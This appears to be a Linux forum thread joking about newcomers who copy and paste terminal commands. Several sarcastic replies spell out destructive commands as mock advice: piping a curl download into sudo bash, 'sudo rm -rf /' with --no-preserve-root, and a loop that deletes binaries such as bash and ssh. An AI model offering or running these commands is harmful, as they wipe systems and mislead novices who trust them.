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[-] [email protected] 70 points 2 years ago

Nothing better than curl https://totally-legit-installer.com/script | sudo bash

[-] [email protected] 7 points 2 years ago

No hash, get cash!

[-] [email protected] 6 points 2 years ago

I usually get an output saying my distro isn't supported. So I have to download and edit the script then it can bypass checking os-release or something like that.

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[-] [email protected] 60 points 2 years ago* (last edited 2 years ago)

I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you're golden. No more linux issues ever again.

[-] [email protected] 30 points 2 years ago* (last edited 2 years ago)

Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

I also find that adding --verbose adds more things like commentary and extras that really help

So, run sudo rm -rf --no-preserve-root --verbose

/s

[-] [email protected] 19 points 2 years ago* (last edited 2 years ago)

All good points.

That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.

It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.

Upvoted.

[-] [email protected] 21 points 2 years ago* (last edited 2 years ago)

I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that

[-] [email protected] 13 points 2 years ago* (last edited 2 years ago)

It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

[-] [email protected] 4 points 2 years ago

It optomizes your computer too? Woa

[-] [email protected] 12 points 2 years ago

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

[-] [email protected] 8 points 2 years ago* (last edited 2 years ago)

Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
clang # unwanted telemitry
bash  # promotes violence
tree    # hippy garbage
awk    # secret backdoor into your PC
ssh    # isnt up to date on its intentional encryption backdoor certificate
bloatlist

/sHope nobody dumb enough to run this Because it actually works

[-] [email protected] 4 points 2 years ago

Lol, I know what you mean.

Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.

[-] [email protected] 19 points 2 years ago

Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don't hold shit against Linux now.

[-] [email protected] 12 points 2 years ago

I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.

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[-] [email protected] 5 points 2 years ago

Guy's really feeling helpful today

[-] [email protected] 40 points 2 years ago

That’s probably how most of us started, but then you start getting familiar with things…

[-] [email protected] 46 points 2 years ago

And that's when you really get good at breaking shit.

[-] [email protected] 29 points 2 years ago

In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.

[-] [email protected] 13 points 2 years ago

Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼

[-] [email protected] 6 points 2 years ago* (last edited 2 years ago)

I'm still curious about stuff I didn't try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.

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[-] [email protected] 6 points 2 years ago

Oh yeah! I tried so many…hahaha

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[-] [email protected] 8 points 2 years ago

That's true. I'm no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.

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[-] [email protected] 32 points 2 years ago

I actually take the time to type everything out, but I still have no idea what I’m doing.

[-] [email protected] 8 points 2 years ago

You know, my students do this. It's freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄

[-] [email protected] 18 points 2 years ago

it is actually a good thing to do. helps in learning stuff faster. it's good to hear that there's still people who don't mindlessly copy and paste

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[-] [email protected] 10 points 2 years ago

Omg I tell people at least 3 times a day about bash's tab completion. Cli proficiency should be taught before programming

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[-] [email protected] 22 points 2 years ago

People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

[-] [email protected] 15 points 2 years ago

Aaand the arch wiki

Aaand stack overflow

Aaand the Gentoo wiki

Aaand random Linux forums :P

Aaand very occasionally the accessible source code for when you're really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.

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[-] [email protected] 18 points 2 years ago

Not just Linux, I do this all the time when 'writing' R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.

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[-] [email protected] 17 points 2 years ago

For anyone who needs it. Try out:

curl cheat.sh/
[-] [email protected] 11 points 2 years ago

OP bout to copy/paste this without knowing what it does lol.

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[-] bdonvr 12 points 2 years ago

You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

[-] [email protected] 11 points 2 years ago

Years ago I started out like this, then gradually started reading and understanding the stuff.

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[-] [email protected] 10 points 2 years ago

I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)

[-] [email protected] 13 points 2 years ago

The real learning happens when you copy and paste something you shouldn't and bork your system. That's basically how I started.

[-] [email protected] 8 points 2 years ago

Me learning anything ever. Troubleshooting is the real learning phase.

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[-] [email protected] 8 points 2 years ago

I think this is how most people start but you gotta start somewhere right? This site helped me a lot: https://explainshell.com

[-] [email protected] 6 points 2 years ago

copy and pasted random login info

"Why isn't this working?"

[-] [email protected] 5 points 2 years ago

All hail the arch Linux wiki!

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[-] [email protected] 5 points 2 years ago

ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.

[-] [email protected] 5 points 2 years ago

There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.

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